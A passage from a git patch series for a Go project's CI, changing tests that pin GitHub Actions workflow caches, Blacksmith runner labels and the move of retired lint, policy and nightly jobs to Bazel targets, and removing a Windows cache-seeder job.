t.Errorf("main.yml's blacksmith-setup-go-cache %s step key = %q, must not key per-commit (github.sha) - see F7c review fix S5", name, key) - } - if !strings.Contains(key, "steps.cache-date.outputs.today") { - t.Errorf("main.yml's blacksmith-setup-go-cache %s step key = %q, want it keyed by steps.cache-date.outputs.today", name, key) - } - } -} - -// TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers pins that every -// consumer's restore key/restore-keys are textually identical to main.yml -// seeder's save key (F7c review fix B2, closes a seeder/consumer key-mismatch -// mutation): if a consumer's key format ever drifted from the seeder's (a -// different hash segment order, a missing runner.arch, etc.) the seeder would -// keep writing entries no consumer could ever restore, silently degrading -// every advisory Blacksmith job back to a cold cache. -func TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers(t *testing.T) { - seeder := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - seederSave := seeder.step(t, "Save Blacksmith setup-go cache") - seederKey := seederSave.With["key"] - if seederKey == "" { - t.Fatal("main.yml's blacksmith-setup-go-cache Save step has no key") - } - - for file, jobNames := range blacksmithSetupGoCacheConsumers { - workflow := readCIWorkflow(t, file) - for _, jobName := range jobNames { - job := workflow.job(t, jobName) - var restore *ciWorkflowStep - for i := range job.Steps { - step := &job.Steps[i] - if actionFamily(step.Uses) == cacheRestoreActionFamily && strings.HasPrefix(step.With["key"], blacksmithSetupGoCacheKeyNamespace) { - restore = step - break - } - } - if restore == nil { - t.Errorf("%s job %s has no blacksmith-sg-v1- restore step", file, jobName) - continue - } - if restore.With["key"] != seederKey { - t.Errorf("%s job %s restore key = %q, want it identical to the seeder's save key %q", file, jobName, restore.With["key"], seederKey) - } - if !strings.Contains(restore.With["restore-keys"], strings.TrimSuffix(seederKey, "${{ steps.cache-date.outputs.today }}")) { - t.Errorf("%s job %s restore-keys %q does not contain the seeder's key prefix (without the commit-specific suffix)", file, jobName, restore.With["restore-keys"]) - } - } - } -} - // --- General sweep: no Blacksmith-reachable advisory job may save a cache -- // generalCacheSweepWorkflows is every F7c advisory workflow plus main.yml @@ -565,7 +300,7 @@ func TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers(t *testing.T) { // machinery. This list is every workflow this F7c round can actually edit // plus the one workflow (main.yml) whose seeder job this round added a new // guard to. -var generalCacheSweepWorkflows = append(mapKeys(blacksmithSetupGoCacheConsumers), "main.yml") +var generalCacheSweepWorkflows = []string{"main.yml"} // blacksmithTrustContexts are the two event shapes a same-repo Blacksmith // `runs-on` ternary can route onto a `blacksmith-*` label for (F7c review fix diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 32c7123cd..dd4ccd44c 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -23,41 +23,21 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { t.Run(workflowName, func(t *testing.T) { workflow := readCIWorkflow(t, workflowName) - for _, forbidden := range []string{ - "golangci-lint", - "make ci-pr-policy", - "make ci-pr-lint", - } { - for _, step := range workflow.Jobs["build-artifacts"].Steps { - if strings.Contains(step.Run, forbidden) { - t.Errorf("build-artifacts runs %q in step %q", forbidden, step.Name) - } - } - } - - // pr.yml's PR Policy job is retired: its checks are Bazel tests - // (TestPRPolicyChecksRunAsBazelTargets). main.yml keeps its own - // copy until main.yml's legacy jobs go. - if workflowName == "pr.yml" { - if _, found := workflow.Jobs["pr-policy-wrapper"]; found { - t.Errorf("pr.yml has a pr-policy-wrapper job; its checks run as Bazel tests") - } - for name, job := range workflow.Jobs { - for _, step := range job.Steps { - if strings.Contains(step.Run, "make ci-pr-policy") { - t.Errorf("pr.yml job %s step %q runs make ci-pr-policy; its checks run as Bazel tests", name, step.Name) + // The PR Policy and lint wrappers are retired: their checks are + // Bazel tests (TestPRPolicyChecksRunAsBazelTargets) and nogo + // (TestLintAndVetRunAsNogo), so no job may run them. + for name, job := range workflow.Jobs { + for _, step := range job.Steps { + for _, forbidden := range []string{"golangci-lint", "make ci-pr-policy", "make ci-pr-lint"} { + if strings.Contains(step.Run, forbidden) { + t.Errorf("%s job %s step %q runs %q; its checks run as Bazel tests", workflowName, name, step.Name, forbidden) } } } - } else { - assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") } - // Lint and vet are nogo inside Bazel (TestLintAndVetRunAsNogo): - // no workflow job runs golangci-lint or the retired lint and vet - // jobs. - for _, retired := range []string{"pr-lint-wrapper", "go-vet-cache", "scripts-go-checks", "lint"} { + for _, retired := range []string{"pr-policy-wrapper", "pr-lint-wrapper", "go-vet-cache", "scripts-go-checks", "lint"} { if _, found := workflow.Jobs[retired]; found { - t.Errorf("%s has a %q job; lint and vet run as nogo in bazel.yml's test lane", workflowName, retired) + t.Errorf("%s has a %q job; its checks run in bazel.yml's test lane", workflowName, retired) } } }) @@ -708,33 +688,61 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } } -// TestNightlyFullTestRunsEmbeddedDoltBatchApplySuite pins the nightly -// full-test job's embedded-Dolt step: it must set BEADS_TEST_EMBEDDED_DOLT=1 -// (the gate skipUnlessEmbeddedDolt checks) and run exactly -// TestBatchApplyContract, TestLargeBatchApplyWallClock_Embedded, (F1) -// TestLargeBatchApplyStatementCounts712_Embedded and the 458-issue -// batch-create equivalence scenarios -// (TestCreateBatchFastPathsMatchPerRowLarge_Embedded), non-race, after the main -// "Full Test Suite" step. That main step never sets BEADS_TEST_EMBEDDED_DOLT, -// so without this step the nightly job would never exercise a real -// 1000-item apply through the embedded backend, nor the 712-item shape's -// pinned statement-count baseline, at all — see the step's own comment in -// nightly.yml for why non-race and why these tests specifically. -func TestNightlyFullTestRunsEmbeddedDoltBatchApplySuite(t *testing.T) { - job := readCIWorkflow(t, "nightly.yml").job(t, "full-test") - const stepName = "Embedded Dolt batch-apply suite (non-race)" - const wantRun = "go test -tags gms_pure_go -timeout 20m -run '^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$' ./internal/storage/embeddeddolt" - assertStepRunsExactly(t, job, stepName, wantRun) - assertStepEnvValue(t, job, stepName, "BEADS_TEST_EMBEDDED_DOLT", "1") - assertStepsBefore(t, job, []string{"Full Test Suite (including integration tests)"}, []string{stepName}) - if strings.Contains(wantRun, "-race") { - t.Errorf("embedded-dolt nightly step run = %q, must stay non-race (race dramatically inflates this backend's own wall-clock)", wantRun) +// TestEmbeddedDoltBatchApplySuiteRunsNonRaceUnderBazel pins the non-race +// embedded batch-apply variant that replaced nightly.yml's retired go test +// step: every race lane shrinks or skips the 1000-item apply, the 712-item +// statement-count baseline and the 458-issue batch-create equivalence +// scenarios (raceEnabled), so this target is their only full-size run. It +// must stay non-race (go_test_race_off over embeddeddolt_test; race inflates +// the embedded engine's own wall-clock), set BEADS_TEST_EMBEDDED_DOLT=1 (the +// gate skipUnlessEmbeddedDolt checks), select exactly these tests, and stay in +// the embedded tier (tag embedded), which bazel.yml runs on every PR, merge +// group, push to main and night. +func TestEmbeddedDoltBatchApplySuiteRunsNonRaceUnderBazel(t *testing.T) { + build := readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel") + rules := map[string]string{} + for _, r := range bazelTopRules(build) { + if m := regexp.MustCompile(`(?m)^ name = "([^"]+)",$`).FindStringSubmatch(r); m != nil { + rules[m[1]] = r + } } - // N4 (F1 review): this step must still run (and report) even if an - // earlier nightly step failed, and must carry its own explicit Go - // timeout independent of the job-level timeout-minutes. - if got := job.step(t, stepName).If; got != "${{ !cancelled() }}" { - t.Errorf("embedded-dolt nightly step if = %q, want ${{ !cancelled() }}", got) + raceOff := rules["embeddeddolt_race_off"] + if !strings.HasPrefix(raceOff, "go_test_race_off(") || !strings.Contains(raceOff, `test = ":embeddeddolt_test",`) { + t.Fatalf("embeddeddolt_race_off = %q, want go_test_race_off over :embeddeddolt_test", raceOff) + } + suite := rules["embeddeddolt_batch_apply_nonrace_test"] + for _, want := range []string{ + `"$(rootpath :embeddeddolt_race_off)",`, + `"-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$",`, + `env = {"BEADS_TEST_EMBEDDED_DOLT": "1"},`, + `tags = ["embedded"],`, + } { + if !strings.Contains(suite, want) { + t.Errorf("embeddeddolt_batch_apply_nonrace_test lacks %s:\n%s", want, suite) + } + } + if strings.Contains(suite, ":embeddeddolt_test)") { + t.Errorf("embeddeddolt_batch_apply_nonrace_test runs the race-configured :embeddeddolt_test; want :embeddeddolt_race_off") + } +} + +// TestNightlyRunsNoGoTestOnARunner: nightly.yml's only test run is the +// fresh Bazel call on rbe-west (ga-96smfk.22); its retired full-test, +// bazel-go-test-json and measure jobs ran go test on GitHub runners. +func TestNightlyRunsNoGoTestOnARunner(t *testing.T) { + nightly := readCIWorkflow(t, "nightly.yml") + for name, job := range nightly.Jobs { + for _, step := range job.Steps { + if regexp.MustCompile(`\bgo (test|build)\b|make ci-`).MatchString(step.Run) { + t.Errorf("nightly.yml job %s step %q runs %q on a runner; run it under Bazel", name, step.Name, step.Run) + } + } + if job.Uses != "" && job.Uses != "./.github/workflows/"+bazelWorkflowName { + t.Errorf("nightly.yml job %s calls %s; only %s may be called", name, job.Uses, bazelWorkflowName) + } + } + if _, err := os.Stat(filepath.Join(sourceRepoRoot(t), ".github/workflows/ci-measurements.yml")); !os.IsNotExist(err) { + t.Errorf("ci-measurements.yml is back (stat err %v); its go test measurement suites ran on GitHub runners", err) } } @@ -889,9 +897,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "build-artifacts"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCache("non-race"), saveModuleCache(), saveBuildCache("non-race"), - }) // Blacksmith macOS: restores what blacksmith-macos-go-build-cache's // Blacksmith leg saves and owns only its race cache (day-bucketed, S7). assertGoCacheInventory(t, workflows["main.yml"].job(t, "test"), []goCacheStep{ @@ -906,18 +911,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), }) - // F7b: race/non-race GOCACHE saves for same-repo PR consumers - // (pr-preflight-platforms, check-doc-freshness-platforms) - // that run on Blacksmith, whose cache namespace is invisible to - // GitHub-hosted build-artifacts; its github venue leg seeds the fork - // path's race cache (build-artifacts seeds its non-race one). - assertGoCacheInventory(t, workflows["main.yml"].job(t, "blacksmith-go-build-cache"), []goCacheStep{ - mainRestoreModuleCache(), - mainRestoreBuildCacheDayBucketedIf("race", "matrix.flavor == 'race'"), - mainRestoreBuildCacheDayBucketedIf("non-race", "matrix.flavor == 'non-race'"), - saveBuildCacheDayBucketedAfterFailureIf("race", "matrix.flavor == 'race'"), - saveBuildCacheDayBucketedAfterFailureIf("non-race", "matrix.flavor == 'non-race'"), - }) // macOS saver for pr-preflight-platforms'/check-doc-freshness-platforms' // macOS legs: its blacksmith venue leg seeds the same-repo path (and the // `test` job), its github leg the fork path. @@ -966,17 +959,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { }) assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { - "build-artifacts": true, "test": true, "test-windows": true, - "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, + "test": true, "test-windows": true, + "windows-test-binaries-cache": true, "blacksmith-macos-go-build-cache": true, - // F7c: blacksmith-setup-go-cache's own restore/save pair seeds the - // self-defined blacksmith-sg-v1- cache namespace every advisory - // Blacksmith consumer restores from (B2, F7c implementation - // report); it is covered by its own - // TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers and - // TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers in - // ci_f7c_advisory_test.go, not by assertGoCacheInventory above. - "blacksmith-setup-go-cache": true, }, "pr.yml": { "worktree-remove-windows": true, @@ -987,10 +972,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "pr-risk.yml": {}, }) - mainArtifacts := workflows["main.yml"].job(t, "build-artifacts") - assertStepsBefore(t, mainArtifacts, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) - assertStepsBefore(t, mainArtifacts, []string{"Build reusable Linux artifacts", "Upload build artifacts"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - mainTest := workflows["main.yml"].job(t, "test") assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Build", "Test"}) assertStepsBefore(t, mainTest, []string{"Restore non-race Go build cache"}, []string{"Build"}) @@ -1020,7 +1001,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, workflows["pr.yml"].job(t, "advisory-reports"), []string{"Restore Go module cache"}, []string{"Type-check every module under examples/"}) - assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") @@ -1038,19 +1018,14 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } } - assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) - assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) - assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save race Go build cache", saveBuildCacheAfterFailureIf("race", "matrix.flavor == 'race'").ifCondition) - assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "matrix.flavor == 'non-race'").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go build cache (Windows cross-compile)", saveXCompileCache().ifCondition) for _, target := range []struct{ workflow, job string }{ - {"main.yml", "build-artifacts"}, {"main.yml", "test"}, {"main.yml", "test-windows"}, {"main.yml", "windows-test-binaries-cache"}, @@ -2086,11 +2061,8 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): -// test-windows, blacksmith-go-build-cache and -// blacksmith-macos-go-build-cache. -const mainVenueBlacksmithUbuntu4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" +// test-windows and blacksmith-macos-go-build-cache. const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" -const mainBlacksmithGoBuildCacheRunsOn = mainVenueBlacksmithUbuntu4vcpuRunsOn // main.yml's push-to-main-only macOS saver, on the exact labels pr.yml's // same-repo (blacksmithMacOSLabel) and fork (macOSRunner) macOS legs resolve to. @@ -2402,26 +2374,19 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, - // main.yml's seeder job (B2, F7c implementation report) is the one - // Blacksmith job that is NOT gated by the same-repo-PR expression: it - // is push-to-main only (always trusted), so it wraps the literal - // label in a trivial expression instead (see the job's own comment). - // Tracked here so the "no other Blacksmith label leaks" sweep below - // also covers main.yml. + // main.yml's push-to-main-only jobs. Tracked here so the "no other + // Blacksmith label leaks" sweep below also covers main.yml. "main.yml": { - "blacksmith-setup-go-cache": "${{ 'blacksmith-4vcpu-ubuntu-2404' }}", "windows-test-binaries-cache": mainWindowsTestBinariesCacheRunsOn, // F7b review (B2): these push-to-main-only jobs seed the // Blacksmith-selection GOCACHEs same-repo PR/merge_group jobs - // above restore from (test-windows's "venue" matrix, - // blacksmith-go-build-cache's own single leg). + // above restore from (test-windows's "venue" matrix). // Each is additionally guarded by a job-level // github.event_name == 'push' && github.ref == // 'refs/heads/main' && github.repository == 'gastownhall/beads' // if: (TestBlacksmithSaverJobsGuardedAgainstPullRequest below), // matching F7c's own saver convention. - "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, - "blacksmith-go-build-cache": mainBlacksmithGoBuildCacheRunsOn, + "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, // Same guard, seeding pr.yml's same-repo macOS legs. "blacksmith-macos-go-build-cache": mainBlacksmithMacOSGoBuildCacheRunsOn, // The macOS -race -short suite (Linux runs it under Bazel). @@ -2671,19 +2636,24 @@ func TestPRPolicyChecksRunAsBazelTargets(t *testing.T) { t.Errorf("%s:%s tags = %v, want %s", c.build, c.target, tags, c.tags) } } - pr := readCIWorkflow(t, "pr.yml") - for name, job := range pr.Jobs { - for _, step := range job.Steps { - for _, moved := range []string{ - "check-build-tags.sh", "check-go-install-guidance.sh", "check-winget-portable-alias.sh", - "check-versions.sh", "make fmt-check", "check-doc-freshness.sh", "make ci-pr-policy", "make api-check", - } { - if strings.Contains(step.Run, moved) { - t.Errorf("pr.yml job %s step %q still runs %s, which is a Bazel test", name, step.Name, moved) + // main.yml (push to main) too: bazel.yml's push run gates the same + // targets, so no runner re-runs them after the merge. + for _, wfName := range []string{"pr.yml", "main.yml"} { + for name, job := range readCIWorkflow(t, wfName).Jobs { + for _, step := range job.Steps { + for _, moved := range []string{ + "check-build-tags.sh", "check-go-install-guidance.sh", "check-winget-portable-alias.sh", + "check-versions.sh", "make fmt-check", "check-doc-freshness.sh", "make ci-pr-policy", "make api-check", + "check-migration-hygiene.sh", + } { + if strings.Contains(step.Run, moved) && !(wfName == "pr.yml" && moved == "check-migration-hygiene.sh") { + t.Errorf("%s job %s step %q still runs %s, which is a Bazel test", wfName, name, step.Name, moved) + } } } } } + pr := readCIWorkflow(t, "pr.yml") freshness := pr.job(t, "check-doc-freshness-platforms") for _, tuple := range freshness.Strategy.Matrix.Include { if tuple.ExpectedGOOS == "linux" { diff --git a/scripts/generate-cli-docs.sh b/scripts/generate-cli-docs.sh index 3813c5aaa..468dc3338 100755 --- a/scripts/generate-cli-docs.sh +++ b/scripts/generate-cli-docs.sh @@ -98,7 +98,7 @@ else fi # Guard against a CGO-enabled bd: it exposes the full `bd federation` subcommand tree -# that CI never produces (scripts/ci/pr-policy.sh build_docs_binary uses env +# that CI never produces (scripts/check-doc-flags.sh is fed a # CGO_ENABLED=0 go build). A CGO build therefore emits ~hundreds of lines of federation # help that the committed, CI-built docs stub out ("built without CGO support"), so a # naive regen on a machine with a C compiler produces spurious federation churn. diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 531a4fc82..ecbd22c38 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -235,10 +235,10 @@ func sortedKeys[V any](m map[string]V) []string { func testPackageGateJobs(t *testing.T, prGateRequired []string) { t.Helper() workflow := readCIWorkflow(t, bazelWorkflowName) - // main.yml's own package-mcp/package-npm jobs (nightly, not gated by - // rbe) run the same language setup; bazel.yml's copy must not drift - // from it. - mainWorkflow := readCIWorkflow(t, "main.yml") + // release.yml's release-package-mcp/release-package-npm jobs (the tag + // build's package gates) run the same language setup; bazel.yml's copy + // must not drift from it. + mainWorkflow := readCIWorkflow(t, "release.yml") type pkgLane struct { job, detectOutput, langStepName, makeTarget string } @@ -352,22 +352,22 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { t.Errorf("%s step %q: if %q, want %q", lane.job, lane.langStepName, st.If, detectIf) } - // The language setup itself must not drift from main.yml's copy of - // the same job (python-version / Node version / the uv install - // command): main.yml's jobs are ungated by rbe, so they are the one - // other place this exact setup is pinned. - mainJob := mainWorkflow.job(t, lane.job) + // The language setup itself must not drift from release.yml's copy + // of the same gate (python-version / Node version / the uv install + // command): the tag build is the one other place this exact setup + // is pinned. + mainJob := mainWorkflow.job(t, "release-"+lane.job) langStep := job.step(t, lane.langStepName) mainLangStep := mainJob.step(t, lane.langStepName) if langStep.Uses != mainLangStep.Uses || !reflect.DeepEqual(langStep.With, mainLangStep.With) { - t.Errorf("%s %q: uses %q, with %v; main.yml's %s has uses %q, with %v", + t.Errorf("%s %q: uses %q, with %v; release.yml's release-%s has uses %q, with %v", lane.job, lane.langStepName, langStep.Uses, langStep.With, lane.job, mainLangStep.Uses, mainLangStep.With) } if lane.job == bazelPackageMCPJobName { installUv := job.step(t, "Install uv") mainInstallUv := mainJob.step(t, "Install uv") if installUv.Run != mainInstallUv.Run { - t.Errorf("%s Install uv: run %q; main.yml's has run %q", lane.job, installUv.Run, mainInstallUv.Run) + t.Errorf("%s Install uv: run %q; release.yml's has run %q", lane.job, installUv.Run, mainInstallUv.Run) } } gateName := "Run " + map[string]string{bazelPackageMCPJobName: "MCP", bazelPackageNPMJobName: "npm"}[lane.job] + " package gate" diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 7fa7d9b37..838a3b6d9 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -919,6 +919,12 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$/^Audit$$"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + // nightly.yml's retired non-race embedded batch-apply step: the large + // shapes every race lane shrinks or skips (raceEnabled). + "//internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test": { + []string{"$(rootpath :embeddeddolt_race_off)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$"}, + map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, "//cmd/bd:bd_proxied_test": { []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, map[string]string{ diff --git a/scripts/repochecks/BUILD.bazel b/scripts/repochecks/BUILD.bazel index 180425feb..bc588c140 100644 --- a/scripts/repochecks/BUILD.bazel +++ b/scripts/repochecks/BUILD.bazel @@ -82,8 +82,7 @@ repo_subset( include = [".github/workflows/*.yml"], ) -# scripts/checkworkflowtags (`go run ./scripts/checkworkflowtags` in -# scripts/ci/pr-policy.sh): the workflows' direct go commands declare +# scripts/checkworkflowtags: the workflows' direct go commands declare # gms_pure_go. sh_test( name = "workflow_tags_test", diff --git a/scripts/workflowtags/workflowtags.go b/scripts/workflowtags/workflowtags.go index d02512e32..175a81000 100644 --- a/scripts/workflowtags/workflowtags.go +++ b/scripts/workflowtags/workflowtags.go @@ -92,7 +92,7 @@ type workflowStep struct { // allowsBareCommands reports whether a workflow opts out of this check with the // repository's existing marker in its first five lines. // -// This check runs in the required pr-policy lane, so without an opt-out a +// This check is required (//scripts/repochecks:workflow_tags_test), so without an opt-out a // workflow that legitimately needs a bare `go` command has no way through. The // marker and its five-line window are not invented here: scripts/check-build-tags.sh // already honors exactly `^# build-tags: allow-bare` within `head -n 5`, and diff --git a/scripts/workflowtags/workflowtags_test.go b/scripts/workflowtags/workflowtags_test.go index 46dec9af9..e2c13ae53 100644 --- a/scripts/workflowtags/workflowtags_test.go +++ b/scripts/workflowtags/workflowtags_test.go @@ -161,8 +161,8 @@ func TestCheckDirRejectsEmptyInventory(t *testing.T) { } } -// TestCheckDirHonorsAllowBareMarker pins the file-level opt-out. This check runs -// in the required pr-policy lane, so a workflow that legitimately needs a bare +// TestCheckDirHonorsAllowBareMarker pins the file-level opt-out. This check is +// required (//scripts/repochecks:workflow_tags_test), so a workflow that legitimately needs a bare // `go` command needs a way through, and the repository already has one: // scripts/check-build-tags.sh honors `# build-tags: allow-bare` within the first // five lines, and engdocs/ICU-POLICY.md documents that window. The same spelling From 84390b03ab31be6609863bd62dfd78304b48a032 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 10:41:14 +0000 Subject: [PATCH 042/213] ci(bazel): run every Windows/macOS job on Blacksmith; retire the Linux preflight leg and the cross-compiled Windows pair (#7355) - pr.yml's Windows jobs and the macOS/Windows legs of pr-preflight-platforms and check-doc-freshness-platforms run on Blacksmith for every PR and merge group, forks and Dependabot included: no windows-latest/macos-latest fallback (Blacksmith serves this org's fork PRs). Matrix legs name their label (runs-on: ${{ matrix.runner }}); the same-repo "matrix marker" ternary and its policy plumbing are gone. - pr-preflight-platforms drops its Linux leg: its tests run under Bazel on rbe-west (//scripts:scripts_test, //cmd/bd:bd_test, //internal/config:config_test). - The Linux-cross-compiled Windows path is retired: windows-test-binaries, its two -prebuilt twins, main.yml's windows-test-binaries-cache, the WINDOWS_PREBUILT_REQUIRED flag and the build script/manifest. The native pair (test-windows-liveness, worktree-remove-windows) is the required run. - main.yml's test-windows and blacksmith-macos-go-build-cache drop their GitHub-hosted venue legs (no GitHub-hosted consumer left). Gate names unchanged. ga-96smfk.22 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/main.yml | 153 +----- .github/workflows/pr.yml | 384 +++---------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 72 ++- scripts/BUILD.bazel | 1 - scripts/ci/build-windows-test-binaries.sh | 96 ---- scripts/ci/run-go-test-binary.sh | 6 +- scripts/ci/windows-test-binaries.txt | 28 - scripts/ci_blacksmith_runner_test.go | 180 ++---- scripts/ci_f7b_review_test.go | 71 +-- scripts/ci_workflow_apt_get_timeout_test.go | 22 - scripts/ci_workflow_test.go | 268 +++------ scripts/test.sh | 3 +- .../windows_test_binaries_manifest_test.go | 516 ------------------ 13 files changed, 280 insertions(+), 1520 deletions(-) delete mode 100755 scripts/ci/build-windows-test-binaries.sh delete mode 100644 scripts/ci/windows-test-binaries.txt delete mode 100644 scripts/windows_test_binaries_manifest_test.go diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 8d6c49133..c64890e66 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -13,98 +13,6 @@ env: BD_DISABLE_EVENT_FLUSH: "1" jobs: - # F4.7: pr.yml's `windows-test-binaries` job only restores the module cache - # and the Windows cross-compile GOCACHE; PR workflows never save caches - # (forks and same-repo PRs alike would otherwise be able to poison a - # shared key). This is the seeder, mirroring build-artifacts' and test's - # module/GOCACHE save pattern for the one new cache key xcompile added. - # - # Two legs, not one: pr.yml's windows-test-binaries job (pr.yml:522) lands - # on `blacksmith-8vcpu-ubuntu-2404` for same-repo PRs/merge_group and - # `ubuntu-latest` for forks/Dependabot. `runner.os`/`runner.arch` alone - # look identical between those two (both report Linux/X64), but Blacksmith - # runners cannot see caches `actions/cache` saved from a GitHub-hosted - # runner (and vice versa): the cache storage is scoped to the runner - # infrastructure, not just the key. A single ubuntu-latest seeder leg would - # therefore only ever warm the fork-PR path and leave every same-repo PR - # (the common case) cold on every run. Seeding from both runner selections, - # with identical keys/paths, covers both consumer legs. The ternary form - # (rather than a literal Blacksmith label in a matrix array) is required - # for actionlint: it resolves literal matrix arrays of runner labels and - # fails on an undeclared self-hosted label, but treats a ternary - # expression as a dynamic value it can't resolve, and skips validation -- - # the same reason every other Blacksmith `runs-on` in this repo uses the - # ternary form. - windows-test-binaries-cache: - name: Save Windows test binaries cache - strategy: - fail-fast: false - matrix: - runner: [blacksmith, github] - runs-on: ${{ matrix.runner == 'blacksmith' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # 